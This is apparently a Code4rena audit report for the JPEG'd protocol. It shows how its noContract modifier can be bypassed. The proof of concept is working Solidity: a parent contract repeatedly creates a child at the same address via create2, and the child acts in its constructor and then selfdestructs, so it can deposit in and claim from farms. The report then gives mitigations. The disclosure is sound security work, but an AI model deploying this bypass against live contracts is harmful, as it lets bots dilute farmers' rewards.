JPEG'd contest - smiling_heretic's results

Lines of code

https://github.com/code-423n4/2022-04-jpegd/blob/e72861a9ccb707ced9015166fbded5c97c6991b6/contracts/farming/LPFarming.sol#L80-L91 https://github.com/code-423n4/2022-04-jpegd/blob/e72861a9ccb707ced9015166fbded5c97c6991b6/contracts/farming/yVaultLPFarming.sol#L49-L60 https://github.com/code-423n4/2022-04-jpegd/blob/e72861a9ccb707ced9015166fbded5c97c6991b6/contracts/vaults/yVault/yVault.sol#L56-L67

Vulnerability details

Impact

modifier noContract(address _account) is supposed to fill the following role according to the docstring: "Modifier that ensures that non-whitelisted contracts can't interact with the farm. Prevents non-whitelisted 3rd party contracts (e.g. autocompounders) from diluting farmers."

However, even for contracts that would interact with the farm in a complex way, it's possible to modify their code (and deploy them as new contracts) so that they still have the same functionality but now they bypass the modifier.

In particular, flash loans are still in the game and the interacting contract can have address persistent across calls (needed for claiming rewards from farms).

Proof of Concept

Let's say we have this simple contract that cannot bypass the modifier:

pragma solidity 0.8.0;

import "../farming/yVaultLPFarming.sol";
import "../vaults/yVault/yVault.sol";

contract HeldBackContract {
    YVaultLPFarming farm;
    YVault yVault;

    constructor(YVaultLPFarming _farm, YVault _yVault) {
        farm = _farm;
        yVault = _yVault;
    }

    function depositToFarm(uint256 amount) public {
        yVault.approve(address(farm), amount);
        farm.deposit(amount);
    }

    function claimFromFarm() public {
        farm.claim();
    }
}

The following contract can do the same exact things as HeldBackContract but now it can bypass the modifier:

pragma solidity 0.8.0;

import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "../farming/yVaultLPFarming.sol";
import "../vaults/yVault/yVault.sol";

contract TrespasserParent {
    YVaultLPFarming public farm;
    YVault public yVault;

    TrespasserChild public child;

    bytes32 public salt;
    uint256 public action;
    uint256 public amountArg;

    constructor(YVaultLPFarming _farm, YVault _yVault) {
        farm = _farm;
        yVault = _yVault;
        salt = bytes32(uint256(42));
    }

    function deployDestroyChild() public {
        // to set child address
        child = new TrespasserChild{salt: salt}();
        child.destroy();
    }

    function depositToFarm(uint256 _amount) public {
        action = 1;
        amountArg = _amount;
        yVault.transfer(address(child), _amount);
        child = new TrespasserChild{salt: salt}();
        child.destroy();
    }

    function claimFromFarm() public {
        action = 2;
        child = new TrespasserChild{salt: salt}();
        child.destroy();
    }
}

contract TrespasserChild {
    TrespasserParent parent;

    constructor() {
        parent = TrespasserParent(msg.sender);

        uint256 amount = parent.amountArg();
        YVaultLPFarming farm = parent.farm();
        YVault yVault = parent.yVault();

        if (parent.action() == 1) {
            yVault.approve(address(farm), amount);
            farm.deposit(amount);
        } else if (parent.action() == 2) {
            farm.claim();
            farm.jpeg().transfer(
                address(parent),
                farm.jpeg().balanceOf(address(this))
            );
        }
    }

    function destroy() external {
        require(msg.sender == address(parent));
        selfdestruct(payable(address(parent)));
    }
}

Thanks to deploying the TrespasserChild with create2 (and constant salt) the msg.sender in calls to e.g. YVaultLPFarming will persist despite selfdestructing and re-deploying this contract many times. This allows the contract to have non-zero balanceOf in YVaultLPFarming and earn rewards.

Flash loans can be taken by the parent contract and transferred to the child contract and then transferred back.

Tools Used

Manual analysis, foundry, remix

Recommended Mitigation Steps

1. One solution would to to replace !_account.isContract() in the modifier with tx.origin == msg.sender. That would actually prevent all non-whitelisted contracts from calling functions guarded by the modifier.

2. Another solution would be to actually allow contracts to interact with the protocol and figure out how to solve problems that this modifier was supposed to solve in a different way. I think it's a better solution because excluding contracts "breaks composability, breaks support for smart wallets like Gnosis Safe" https://docs.openzeppelin.com/contracts/4.x/api/utils#Address